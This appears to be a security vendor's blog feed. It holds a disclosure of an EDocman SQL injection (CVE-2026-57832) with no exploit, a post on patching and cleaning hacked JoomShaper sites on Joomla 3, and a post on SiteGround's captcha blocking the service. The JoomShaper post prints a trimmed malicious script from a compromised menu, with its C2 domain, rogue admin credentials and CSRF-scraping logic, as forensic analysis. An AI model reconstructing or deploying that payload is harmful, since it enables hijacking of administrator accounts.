JoomDonation fixed this quickly, and released EDocman 3.9.0 the same day, which is genuinely to their credit. The problem is what the release notes tell a site owner. The security items in JoomDonation's own 3.9.0 release announcement read, in full (to see it yourself, open that product page and select the About Latest Version tab):

Fixed a reported front-end SQL injection vulnerability.

Improved database query handling and input validation.

Strengthened security for public front-end tasks.

Improved filtering for document, category, and date parameters.

Added safer redirect validation to prevent open redirect issues.

That is the language of routine maintenance. "Improved input validation" and "strengthened security" are the words you use for a tidy-up, not for an emergency. A busy administrator skims that, files it under "housekeeping", and leaves the update for next month.

Here is what those five lines actually describe. "A reported front-end SQL injection" is an unauthenticated, no-login, single anonymous request that reads the entire database, password hashes included, and on a privileged database account reads every other database on the server too. The changelog does not say unauthenticated. It does not say full database read. It does not say password hashes. Read on its own, it gives no reason to treat this as urgent, which is exactly the reason it is urgent: understatement is what keeps a critical hole open, because it persuades people not to patch.

The changelog is also quietly telling on itself. Those last two lines, "improved filtering for document, category, and date parameters" and "safer redirect validation", confirm that the front-end SQL injection was not the only issue in that code. During the same audit we flagged additional raw request values reaching front-end queries, and an unvalidated redirect, and 3.9.0 hardened exactly those areas. One line in a changelog, several fixes underneath it. Treat 3.9.0 as the security release it is, not the maintenance release it reads like.

How serious is it?

Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:

Whether the site has a web application firewall that filters SQL. Because the payload is literally SQL, a firewall that inspects request parameters can recognise and block many injection attempts before they reach EDocman. That is worth having, but it is a layer, not a guarantee: rules differ between products and configurations, injections can be encoded to slip past filters, and a firewall you have not tested against this specific flaw is an assumption, not a control. Sites running bare, with nothing inspecting requests, are the exposed ones.
The site's own configuration, including how much a database error reveals and how privileged the database account is. Where errors reach the browser, extraction is fast and loud; where they are suppressed, it is slow and quiet. Neither configuration makes the underlying flaw safe.

This is the case for defence in depth. A SQL-filtering firewall in front of the site can buy you time against an injection like this, which is exactly why running one is worth it. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.

A firewall is mitigation, not a fix. The only reliable remedy is to update EDocman to 3.9.0.

Would a long, strong .htaccess have protected me against this?

Almost certainly not. A big hardened .htaccess is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to index.php, the exact request your .htaccess exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock .htaccess never looks there.

To block this at the .htaccess layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on, and even then only if that filtering is actually enabled. The short version applies here directly: update EDocman.

Which versions are affected?

EDocman 3.8, the current release at the time of discovery, contains the affected code path. The vulnerable feature has been part of the extension for a long time, so earlier 3.x releases (and likely older builds) share it. Treat any EDocman at or below 3.8 as affected. JoomDonation fixed the issue in EDocman 3.9.0.

EDocman 3.9.0 fixes this. Update now, and do not wait to confirm exploitation: by the time you can confirm it, the data is already gone. If you cannot update immediately, make sure a SQL-filtering firewall is in front of any site running EDocman as a stopgap. This vulnerability is tracked as CVE-2026-57832.

How do you update EDocman safely?

JoomDonation released EDocman 3.9.0 with the fix. Update straight away. The steps are the same as any Joomla extension update:

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup so you have a clean starting point.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EDocman 3.9.0. If it does not appear, use Find Updates, or download the latest package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru mass update feature to upgrade every affected site from a single dashboard. We built the update runner to push Joomla extension updates to thousands of sites at once, and you can enable auto-updates for any Joomla extension so a fix like this reaches your sites without you lifting a finger.
Confirm the version. After updating, open Components, then EDocman, and check the version shown is 3.9.0 or later.
Clear caches. Clear Joomla's cache and any CDN or page cache so stale front-end assets do not linger.

Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat exposed data and any stored credentials as potentially known.

How do I find every EDocman site I manage?

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EDocman once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.

View every EDocman install across your sites

Open your Extension Inventory

Search for EDocman across every connected Joomla site and filter for anything on 3.8 or earlier to find the installs that still need the update. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout: tick the sites on an old version, push the update to all of them from one screen. When a fix ships, we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of EDocman is flagged automatically. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand.

Why document and download extensions are a quiet attack surface

This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Document managers, download managers and newsletter tools make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Download links, category listings, unsubscribe links, search boxes, none of that can require a login.

Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across newsletter tools like AcyMailing, calendar components like DPCalendar, form builders like Balbooa Forms, and page builders like PageBuilder CK: a public request that reaches a database query or a dangerous operation with too little checking in between.

The lesson for site owners is not "avoid document extensions". They are fine, and the reputable ones are well maintained. The lesson is that keeping them updated is security-critical, not just feature maintenance. A document extension two versions behind is not a cosmetic problem, and as this changelog shows, a release that reads like housekeeping can be closing a hole in your whole database.

SQL injection is a recurring theme right now

This EDocman flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.

AcyMailing (CVE-2026-56292, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, fixed in 10.11.1.
DPCalendar (CVSS 8.7). The same shape again in a widely used calendar component, fixed in 10.11.2 and 8.19.4, with Digital Peak crediting us publicly for the find.
The month of Joomla disclosures. EDocman is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.
Why AJAX endpoints are a CMS security blind spot. The underlying pattern, and why front-end endpoints like this one keep producing the bug.

Stay ahead of the next one

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

What to do right now

Update every Joomla site running EDocman to 3.9.0 or later, one at a time or in bulk from one dashboard
If you cannot update immediately, make sure a SQL-filtering web application firewall is in front of any site running EDocman, and remember it is mitigation, not a fix
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
Take a backup before updating, and clear caches afterwards
If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, rotate exposed credentials and other Joomla API secrets, and if you suspect a breach, find any hacked files and backdoors and follow our guide to fixing a hacked Joomla or WordPress site

Disclosure and Severity

This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. We score it CVSS 4.0 8.7 (High). It is a read-only injection, so it stops short of the maximum 10.0 you see on file-upload flaws that end in remote code execution: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash and other Joomla API secrets. Where the site's database account is privileged, as it was on the install we tested, the practical impact is higher still, because the read reaches every database on that MySQL server, not just the one site.

8.7 CVSS 4.0

High Our own assessment, pending an official score

Unauthenticated, exploitable over the internet in a single request with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.

No login needed Exploitable over the internet No user interaction Full database read Password hashes exposed

Field	Detail
CVE	CVE-2026-57832 (assigned via the Joomla CNA)
Component	EDocman for Joomla (`com_edocman`)
Vendor	JoomDonation / Ossolution (joomdonation.com)
Type	Unauthenticated SQL injection (CWE-89)
CVSS 4.0	8.7 (High), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (our own assessment)
Impact	Anonymous read access to any database table, including user accounts and password hashes
Finder	Phil Taylor, mySites.guru
Affected versions	3.8 and earlier
Fixed in	3.9.0 (released 14 July 2026)

We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.

Date	Event
12 July 2026	During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in EDocman 3.8, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to JoomDonation, with all public detail withheld.
14 July 2026	JoomDonation releases EDocman 3.9.0, fixing the reported front-end SQL injection along with tighter input validation on document, category and date parameters and safer redirect validation. mySites.guru verifies the fix, adds the affected range to its Joomla vulnerability database so every connected site below the fix is flagged, requests a CVE through the Joomla CNA, and publishes this write-up. No proof-of-concept is released.
15 July 2026	The Joomla CNA assigns CVE-2026-57832 to the vulnerability, crediting Phil Taylor of mySites.guru as the finder.

The One-Click Way to Patch JoomShaper Extensions on Joomla 3

phil@mysites.guru (Phil Taylor) — Tue, 14 Jul 2026 00:00:00 GMT

Update, 15 July 2026: JoomShaper has now patched Joomla 3

The day after this post went out, JoomShaper reversed its position and released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. That is good news and worth taking: if the official patch installs on your site, apply it. Two things to know first. The Helix Ultimate package only supports Helix 2.1.0 to 2.1.3 and refuses older builds, and no patch, ours or theirs, cleans up a site that was already breached. We read the patch code and wrote up what is in it.

There are still thousands of Joomla 3 sites out there.

There is always a reason, an excuse: a client who will not sign off the budget, a custom template nobody has the source for, a booking system that only exists as a Joomla 3 extension. So the sites sit there, end of life, and you keep an eye on them and hope. Pray. Ignore.

On 9 July 2026, JoomShaper stopped supporting Joomla 3 across every one of its products, with one line that matters more than the rest: no security patches, regardless of severity.

In the same fortnight, we found and disclosed twelve separate vulnerabilities in popular Joomla extensions, four of them rated the maximum CVSS 10.0

Unfortunatly, attackers weaponised the fixes within hours of each one going public, as is the norm nowadays.

JoomShaper only fixed their own code running on Joomla 4+ and left those with Joomla 3 sites scrambling around without any security fixes.

So we built the tool that fixes NOT ONLY the hacks from their vulnerabilities - but also PATCHES their extensions/plugins that they abandoned in their time of need.

mySites.guru now patches the abandoned JoomShaper extensions on Joomla 3, SP Page Builder, Helix3 and Helix Ultimate, in place, and cleans up the sites already hit, all from the same dashboard you use to manage everything else.

Built by mySites.guru

This tool backports JoomShaper's own security fix logic into the Joomla 3 extension code you are actually running, in place and reversibly, across every site in your account from one toggle. We wrote it, we tested it against real vulnerable sites for a week, and it is live in your subscribed account now (GBP19.99 per month - unlimited sites!). It is one of several Joomla 3 tools we have shipped in the last few weeks, because the sites that need them are the ones with nobody else left to help.

JoomShaper Walked Away From Joomla 3. Like many modern developers.

You cant blame them. Joomla 3.x.x has been end of life for years. mySites.guru already has a tool that patches security issues in Joomla 3.10.12 following the end of life announcement by Joomla, and their failed commercial eLTS support service - which also ended.

JoomShaper's decision is defensible, and we said so at the time: it can secure its own code, but it cannot secure the end-of-life Joomla core underneath it. The timing is what makes it bite. SP Page Builder had an unauthenticated file-upload flaw, CVE-2026-48908, rated CVSS 10.0 and actively exploited to plant hidden Joomla Super Admins. Helix3 had CVE-2026-49049, the entry point for the "Hacked by AntonKill" defacement wave that hides its payload in your database, not your files.

Both are patched, and when we built this tool both official fixes existed only for Joomla 4 and above.

The fix for SP Page Builder is version 6.6.2.
The fix for Helix3 is 3.1.1,
and for Helix Ultimate it is 2.2.7.

Every one of those requires Joomla 4 or newer. Run them on Joomla 3 and there is no version you can update to.

On 15 July 2026, the day after this tool shipped, JoomShaper reversed its Joomla 3 decision and released separate Joomla 3 patches for all three products. If one installs on your site, take it: a vendor patch beats a third-party guard. The catch is that the Helix Ultimate package checks your version first and only supports Helix 2.1.0 to 2.1.3, so the older builds that tend to sit on long-lived Joomla 3 sites are refused outright.

mySites.guru already spots these on every connected site and tells you exactly which flaw is present, which version fixes it and why it matters, so before you patch anything you can see your real exposure as a list instead of finding out from a defacement.

These are the JoomShaper vulnerabilities we have found, disclosed and written up, the three products this tool patches on Joomla 3:

JoomShaper extension	Vulnerability	CVE	Severity	Read
SP Page Builder	Unauthenticated icon upload to RCE	CVE-2026-48908	10.0	Read
Helix3	Unauthenticated file write and delete via com_ajax	CVE-2026-49049	7.5	Disclosure and AntonKill wave
Helix Ultimate	Unauthenticated menu write to stored XSS	none assigned	High	Read

We took a different view. The fix logic that JoomShaper wrote is public, we have read it, and it is not large. So mySites.guru now applies that same logic directly to the Joomla 3 code you are running, without touching the version and without waiting. At the time we built it the vendor had said no. It has since said yes, which we are glad about, and the tool still saves you doing it by hand on every site.

How to Patch JoomShaper Extensions on Joomla 3

With mySites.guru tools! A simple toggle in the site's Snapshot, in the same Hacked? section as our other security checks.

One click to patch, one click to restore original files.

Simple.

To patch JoomShaper extensions on a Joomla 3 site with mySites.guru, you flip a single toggle in the site's Snapshot, in the same Hacked? section as our other security checks. Flip it on and mySites.guru inspects the three abandoned JoomShaper extensions, works out which are present and still vulnerable, and injects a minimal security guard into each one through the connector. Flip it off and it restores the original files from the backup it took before the first change.

It is a guard, not a version bump.

Rather than trying to ship a rebuilt copy of every version of every extension anyone might be running, the tool reads the file, confirms the vulnerable code is actually there, and inserts a small, self-contained check at the exact point the vendor added theirs. That one approach covers the whole range of vulnerable versions instead of needing a hand-built file for each. Each guard is a faithful backport of the real fix:

Helix Ultimate: the media handler that let an anonymous visitor delete files now requires an authenticated template editor and rejects any path containing .., the same gate JoomShaper added.
Helix3: the AJAX image upload and remove handlers now demand a valid token and the right permission before they will do anything, closing the unauthenticated write.
SP Page Builder: the addon parameter that could be steered into loading an arbitrary file is now restricted to a plain slug, which kills the local-file-include that led to remote code execution.

Once the toggle is on, the Snapshot shows a per-extension status so you can confirm at a glance which of the three JoomShaper extensions the guard closed on that site.

The patch does not change the extension's version number, because it does not replace the extension. The vulnerability badge on the site stays visible on purpose, as a standing reminder that the only permanent fix is migration. What changes is that the hole is now closed.

Because it works across every site in your account, you are not logging into 400 admin panels to do this. You see every Joomla 3 site that runs a vulnerable JoomShaper extension in one list, and you patch them together. The backup-first, toggle-to-revert design means that if anything about a particular site makes you cautious, undoing the change is one click and leaves the files byte-for-byte as they were.

That is the difference worth understanding now that the vendor patches exist. Doing it JoomShaper's way means downloading three separate zip files from three different places, then logging into every Joomla site you manage and uploading each one by hand through the extension installer. Doing it this way is one toggle that applies the fix logic for every affected JoomShaper product across every site at once. Both close the same holes. Only one of them costs you a day.

What About the Joomla 3 Sites That Just Need to Hang On?

This tool exists precisely for them. Not every Joomla 3 site can migrate this quarter, and telling an agency to "just move to Joomla 6" ignores the real work involved: template rebuilds, extension replacements, content checks, client approval. In the meantime those sites are live, indexed, and exposed. The honest position is that they need to hang on for a while, and hanging on should not mean hanging out with an open door.

Alongside the JoomShaper patch, mySites.guru already includes a one-click patch for the Joomla 3 core itself. That tool applies every known Joomla 3 core security fix, backported from the 3.10.999 project and the eLTS work, across all your sites from a single toggle, no eLTS subscription required. Between the two, the core holes and the abandoned-extension holes on a Joomla 3 site are both closed while you plan the move properly.

Cleaning Up After the Hack Wave

Prevention is only half the story, because a lot of these sites were breached before anyone shipped a fix. The wave of Joomla hacks running through 2026 has defaced and backdoored sites in their tens of thousands, and the same JoomShaper flaws are the doorway for a good share of them. Joomla 3 sites are the worst exposed, because they cannot take the vendor fix, but the wave hit Joomla 4, 5 and 6 sites too, and these cleanup tools work on the affected sites whatever version they run. Once an attacker is in, they plant things designed to survive your cleanup: dormant droppers, hidden admins and malicious cron jobs that quietly rebuild the malware after you think you have removed it. So mySites.guru ships targeted, one-click tools for the exact artefacts these attacks leave behind.

mySites.guru has a full suite of tools that you can use to clean your hacked sites - the specific ones developed for this current wave are:

NEW TOOL: Remove Rogue Super Admin Accounts

The first thing a SP Page Builder or Helix compromise usually does is create a hidden Joomla Super Administrator, so the attacker keeps a way back in even after you patch. The Rogue Super Admin Accounts tool flags Super Admins planted with the known attacker signatures, by email and by the worm usernames these campaigns reuse, and lets you delete them across every affected site in one action. A site with a rogue Super Admin is shown as hacked, in red, until it is gone.

NEW TOOL: Clean the Helix Ultimate Mega Menu Hack

The newest of these tools shipped the same day as this post. When an attacker abuses the unauthenticated Helix Ultimate menu write on a Joomla 4, 5 or 6 site, they store a payload in the mega-menu settings, stored cross-site scripting aimed at creating a Super User, hidden inside your menu.

On a compromised site we examined, the params column of the Home item in the #__menu table read like a normal Helix Ultimate menu layout, except that inside the helixultimatemenulayout value two fields, badge and custom_html, had each been overwritten with the same block of JavaScript. Trimmed down, it does this:

// #__menu -> params -> helixultimatemenulayout -> "badge" and "custom_html"
<s-cript>(function () {
  var C2  = 'https://xdxd.olybrdbtrknks.xyz';                    // attacker command-and-control
  var DEF = { login: 'admin_mori', email: 'memetkaan43@proton.me', gid: '8' }; // rogue Super User, group 8

  // poll /administrator/index.php every 30s for a logged-in admin session,
  // then scrape the one-time CSRF token from the page,
  // POST com_users task=user.apply to create the Super User,
  // and beacon the working credentials back to the C2 router.
  // (working parts trimmed on purpose)

  checkAdmin();
  setInterval(checkAdmin, 30000);
})();</s-cript>

A few things make it nasty:

It lives in the database, not on disk. File scanners, SFTP greps and clean-file restores all miss it, the same blind spot as the Helix3 defacement.
The tag is written as <s-cript> (note the hyphen) so naive keyword filters skip over it, while the browser still parses it as a real script the moment the menu renders.
It only fires for a logged-in administrator. The script quietly polls /administrator/index.php every 30 seconds, and as soon as it detects an authenticated admin session it submits the com_users new-user form on that admin's behalf, CSRF token and all.
The Super User is attacker-controlled. Its username, password and email are fetched live from the C2, falling back to admin_mori / memetkaan43@proton.me in group 8 if the C2 is unreachable, then the working credentials are beaconed straight back so the attacker can log in from anywhere.

So the menu write is only the doorway. The real prize is a hidden Super User that outlives the patch, which is why cleaning the site means two jobs: blank the injected menu fields, and audit #__users for an admin account you did not create. Indicators of compromise: a <s-cript> string in #__menu.params; the C2 domain xdxd.olybrdbtrknks.xyz; a Super User named admin_mori or registered to memetkaan43@proton.me; a hidden iframe with id jc_router_iframe; the global flags joomlacreater_inline_run and joomlacreater_create_done in page source.

The Helix Ultimate Mega Menu Hack tool finds the poisoned menu items and blanks only the injected badge and custom-HTML fields, leaving the rest of your menu layout exactly as it was, then points you to update Helix Ultimate to 2.2.7 or later so it cannot happen again.

NEW TOOL: Clean the Helix3 Template Code Hack

The Helix3 version of the same attack hides its payload in the template style's custom code in the database, which is why an on-disk malware scan of a defaced Helix3 site comes back clean while the skull is still on the screen. The Helix3 Custom Code Hack tool reads every template style, finds the injected defacement or stealth loader, and clears it in one click. We wrote about where that defacement actually hides in detail.

The nastier variant does not deface at all. Instead of a skull, the stealth loader serves a fake "I'm not a robot" box like this one, a ClickFix lure that talks the visitor into pasting an attacker command into the Windows Run dialog and running it on their own machine. The homepage looks normal, the file scan is clean, and the site is quietly weaponised against everyone who visits it, which is exactly why a Helix3 site needs its template custom code checked whether or not a skull ever appeared.

NEW TOOL: Delete Rogue SP Page Builder Assets

The SP Page Builder upload flaw let anyone plant rogue icon-font asset rows as a foothold. The SP Page Builder Rogue Icon-Font Assets tool detects those planted rows and removes them, again across every affected site at once.

Find the Backdoors They Left on Disk

The database-side tools clean the specific artefacts these campaigns plant, but a breached site usually has files dropped through the same hole too, and those can be buried anywhere in tens of thousands of files. The mySites.guru file scanner flags each one as a Hacked File, so instead of grepping a whole web space by hand you get a short list to work through, and you can open any file to read the suspect content inline before you act on it.

That is a real dropper from one of these compromises: a small webshell that runs any command the attacker sends and lets them upload more files. It is the kind of thing that survives a database clean and re-infects the site later, which is why the file audit matters as much as the toggle.

Important

Patching and cleaning are two different jobs. Patch to close the entry point so it cannot happen again; clean to remove what an attacker already left. On a site that has been breached, do both, and run a full file audit afterwards, because these compromises rarely stop at one backdoor. If you would rather someone else handled it, our team fixes hacked Joomla sites for a flat fee at fix.mysites.guru.

Does Patching Let Me Skip the Joomla 3 Migration?

No. Migration to Joomla 5 or 6 is the only real fix, and none of these tools changes that. What they change is the risk you carry in the gap between now and the day that migration actually happens, which for most agencies is measured in months, not days. The patch tool closes the vendor-abandoned holes, the core patch tool closes the Joomla core holes, and the cleanup tools deal with anything that got in first. That is a defensible position to hold a site in while you do the migration properly, instead of leaving it open and hoping the botnets do not find it before you get to it.

If you manage more than a handful of Joomla sites, the starting point is knowing which ones are still on Joomla 3 and what each of them runs. mySites.guru inventories the extensions and versions on every Joomla site you connect and flags the end-of-life ones automatically, so your exposure is a list you can see rather than a surprise you find out about from a defacement.

A Joomla and WordPress Toolset That Grows Every Day

The Helix Ultimate mega-menu tool went into mySites.guru the day this post went out. The JoomShaper patch tool arrived the same week. The core Joomla 3 patch tool picks up new backports as new eLTS fixes appear. We shipped mySites.guru in 2012 and have not stopped building it since, and we mean that literally: we put work into it every single day of the year, because the threats change every single day of the year.

That investment runs across both platforms, not just Joomla. The same account that patches your Joomla 3 extensions also bulk-updates your WordPress plugins, scans every site with malware detection built from over a decade of real hacks, backs everything up, and monitors for the changes that a second-wave attacker makes between two clean-looking scans. When a new CMS threat appears, we build the tool that fixes it across your whole portfolio and add it to the dashboard, usually within days, instead of just writing a knowledge-base article about it. The Joomla 3 tools in this post are simply the most recent proof of that.

Why Has the mySites.guru Price Not Changed Since 2012?

Because we decided a long time ago that the deal should get better without the price going up. mySites.guru is GBP 19.99 per month for unlimited Joomla and WordPress sites, and that number has not moved since we launched in 2012. Every tool in this post, the JoomShaper patch, the core Joomla 3 patch, all four cleanup tools, arrived after you signed up and cost you nothing extra. So did AI-powered malware analysis, the vulnerability alerting, and the hundreds of other things we have added over the years.

We are not aware of another service in this space that has held its price flat for that long while adding this much. When we build a tool like the only Joomla 3 extension patcher in existence, it does not become a paid add-on or a higher tier. It shows up in your account, at the price you already pay, because a toolset that grows every day is the entire point of paying for one. You can try the whole thing free for a month and see it for yourself.

Rather someone just fixed it for you? A flat GBP 120, even if the site is still on Joomla 3.

Please send me your complete site details, including FTP, using the form at fix.mySites.guru and I'll happily take a look. Set fees apply. Skip the troubleshooting and get your site fixed today.

Phil Taylor, the mySites.guru founder, has resolved thousands of Joomla and WordPress issues. Most fixes are completed within the hour, and at the latest the same day.

✓ Same-day resolution guaranteed
✓ Fixed price, no surprises
✓ No fix? No fee!

Fix my site for GBP 120 →

SiteGround's Captcha Is Blocking mySites.guru - again

phil@mysites.guru (Phil Taylor) — Tue, 14 Jul 2026 00:00:00 GMT

mySites.guru connects to every site you add and runs security audits, backups, extension updates, and uptime checks against it. To do that, it has to reach your site over the internet the same way a browser does. On SiteGround-hosted sites, every so often, it can't. SiteGround's Anti-Bot AI decides our server looks like a bot and hands it a captcha challenge instead of your actual site.

When that happens, an audit stalls, a backup won't start, or an uptime check reports your site as unreachable, while the site loads perfectly in your own browser. Nothing is wrong with your site, and nothing has changed on our side. Our worker connects from the same published IP address it has used for over a decade. SiteGround has simply decided, for a while, to block it. That is a SiteGround decision, made on SiteGround's servers, and only SiteGround can undo it.

This is not new, and it is not unique to us. It happens to every management and monitoring platform that talks to SiteGround-hosted sites. Here is what the block looks like, why an automated service can't just click through the captcha, and the exact support request that clears it.

What SiteGround's Captcha Actually Does

SG-Captcha is part of SiteGround's Anti-Bot AI, a system that sits in front of every hosted site and tries to separate human visitors from automated ones. When it flags a request as a bot, it does not serve the page. It serves a captcha challenge instead, on the theory that the traffic might be a brute-force or denial-of-service attempt.

For a person in a browser, this is nearly invisible. The browser receives the challenge, runs the JavaScript, follows the redirect, and loads the real page a moment later. For anything that is not a full browser, an uptime monitor, a security scanner, an API client, or a management platform like mySites.guru, the challenge is a dead end. The client asks for your page and gets a redirect to a captcha it has no way to solve.

The Anti-Bot AI itself is not new. What changed is how aggressively it escalates to a full captcha challenge against automated clients, which is when legitimate tools started getting caught in it.

mySites.guru Is Not the Threat Here

mySites.guru is exactly the kind of automated client the Anti-Bot AI should never be challenging:

mySites.guru is a reputable, long-standing service, connecting from the same IP address to hundreds of thousands of sites. We are not new, malicious, or scary.

We have run from the same published IP address for over a decade. We are not the kind of attack traffic the Anti-Bot AI exists to stop. We are simply automated, and automation is all the AI sees before it puts up the wall.

Because that one address connects to so many sites, the damage is never limited to a single domain. When SG-Captcha decides it does not like mySites.guru, thousands of customer sites are blocked at the same moment. Every owner sees a failed check at once, and a wave of support tickets arrives here, for a block we did not cause and cannot lift.

How Do You Know SiteGround Is Blocking mySites.guru?

The signature is an HTTP 202 response with an sg-captcha: challenge header, where you would normally expect a 200 and your page. A quick curl against the affected site shows it plainly:

HTTP/2 202
server: nginx
content-type: text/html
content-length: 166
sg-captcha: challenge
x-robots-tag: noindex
set-cookie: nevercache-b39818=Y;Max-Age=-1
cache-control: no-store,no-cache,max-age=0

The body is a tiny HTML page that redirects to the challenge:

<html>
  <head>
    <link rel="icon" href="data:;">
    <meta http-equiv="refresh"
          content="0;/.well-known/sgcaptcha/?r=%2F&y=ipr:178.62.5.35:...">
    </meta>
  </head>
</html>

Two things give it away. The sg-captcha: challenge header is SiteGround telling you exactly which system is intercepting the request. And the redirect target, /.well-known/sgcaptcha/, carries ipr:178.62.5.35, the IP address being challenged. That is our main worker's address. So this is not a general site fault. SiteGround is specifically holding a captcha in front of the address mySites.guru connects from.

The x-robots-tag: noindex on that response matters too, and we come back to it below.

Why Can't mySites.guru Just Solve the Captcha?

Because it is a service, not a browser. mySites.guru connects to your site as a headless client to fetch files, read versions, and check that the site is up. There is no browser window, no user, and no JavaScript engine sitting there to run a proof-of-work challenge and click through a redirect loop. It asks for your page over HTTPS and expects your page back.

Even if it could solve the challenge once, that would not fix the problem. Solving SiteGround's captcha issues a short-lived session cookie to the browser that solved it. Requests carrying that cookie get through; requests from the same IP without it are challenged again. Our worker does not carry a browser session from one request to the next, so it would be challenged over and over. The only durable fix is to stop challenging our IP address in the first place.

Only SiteGround Can Fix This

Before the how-to, here is the single most important point, because it saves you contacting the wrong people:

This is not a mySites.guru issue to solve. This is a SiteGround issue, and only they can solve it.

The block is made by SiteGround's Anti-Bot AI, on SiteGround's servers. mySites.guru cannot switch it off, allowlist itself, or change anything on our side to stop it, and neither can our support team. The exemption can only be added inside SiteGround's own infrastructure, so the request has to go to SiteGround.

How Do You Get the Block Removed?

The fix is a support ticket to SiteGround, asking them to whitelist the mySites.guru IP addresses in their Anti-Bot AI. There is no self-service toggle for this. SiteGround's own captcha article explains what the challenge is, but it does not give you a way to exempt a service you trust, so the exemption has to come from their support team.

These are the two addresses to give them. Both are published at manage.mysites.guru/ips and have not changed in over ten years:

IP addresses to whitelist:

178.62.5.35 - audits, backups, updates, and the connector
165.227.239.229 - uptime monitoring

The manage.mysites.guru/ips page above is a public, static URL, so it is safe to paste into a support ticket for your host to read. If you are signed in to mySites.guru, the IP addresses help page in your account has more detail on connection issues and what to send your host.

Copy this straight into the ticket and fill in your domain:

Subject: Please whitelist two IPs in your Anti-Bot AI / SG-Captcha

Hello,

I use mySites.guru, a third-party service, to manage and monitor my
website hosted with you. Its servers are currently being served a 202
SG-Captcha challenge instead of my site, which stops the service from
reaching it.

Please permanently whitelist these two IP addresses so requests from
them are never challenged by your Anti-Bot AI / SG-Captcha:

  178.62.5.35
  165.227.239.229

These are the fixed, published outgoing IPs for mySites.guru and have
not changed in over a decade. You can verify them here:
https://manage.mysites.guru/ips

Please confirm both addresses are exempt from the Anti-Bot AI itself,
not only added to the Blocked Traffic list in Site Tools.

Affected domain: <add your domain>

Thank you.

That last line about the Blocked Traffic list matters. That list in Site Tools is a separate feature for your own manual IP blocks, and it does not control which clients the Anti-Bot AI decides to challenge, so adding our IPs there alone will not stop the captcha.

Warning: the block can hurt your Google ranking

The captcha challenge is served with a noindex tag. If SiteGround challenges Googlebot the same way it challenges us, Google receives a noindex page instead of your content and can drop those URLs from its index until the block is lifted. Site owners have watched pages drop out of Google for exactly this reason, so it is worth fixing even if you do not use a monitoring service.

You Are Not the Only Service Being Blocked

This matters, because when a check fails the natural assumption is that something is wrong with mySites.guru. It isn't. SiteGround's Anti-Bot AI blocks third-party platforms by design, and the same 202 captcha challenge has been reported by:

MainWP, a rival WordPress management dashboard, whose users get the identical HTTP 202 on connection and whose documented fix is, word for word, to ask SiteGround support to whitelist the dashboard's IP.
Googlebot, which has been served the noindex challenge and de-indexed pages as a result.
Uptime monitors and security scanners generally, which look like repeated automated hits and get challenged the same way.

It is not even unique to SiteGround. Cloudflare's Bot Fight Mode has blocked Sucuri's malware scans, and every serious anti-bot system, Cloudflare and DataDome included, ships a verified-bot allowlist precisely because blunt bot-blocking catches legitimate services. The difference is whether the allowlist is something you can manage yourself or something you have to request one ticket at a time. On SiteGround, for now, it is the ticket.

Fifteen Years With SiteGround

There is some history here I should be honest about. To their credit, SiteGround has stayed independently owned since 2004, while much of the hosting market was rolled up under a handful of conglomerates. In mySites.guru's early years, SiteGround's own founders were paying subscribers of the service, for many years, and gave us genuine hands-on help getting it running well on their shared hosting. That relationship mattered, and it is part of why the tool performs the way it does on shared hosts today.

What has faded is the direct line. As a host grows, first-line support gets further from the engineers, and the practical result for anyone integrating with the platform is that there is no proactive way to keep a known-good service allowlisted. The Anti-Bot AI does its job, occasionally decides a decade-old, published, fixed IP is a threat, and the only route back is a per-customer support request. We have tried over the years to set up a standing allowlist so our customers never see this, without success, which is why the workaround still falls to you rather than to us.

None of that is a reason to leave SiteGround. It is a good host. But if you run sites there and use any external tool to manage or monitor them, this is a periodic tax you should know how to pay quickly. mySites.guru works with any site it can reach, across hundreds of sites from one dashboard, and a two-minute support ticket is usually all it takes to get us reaching yours again.

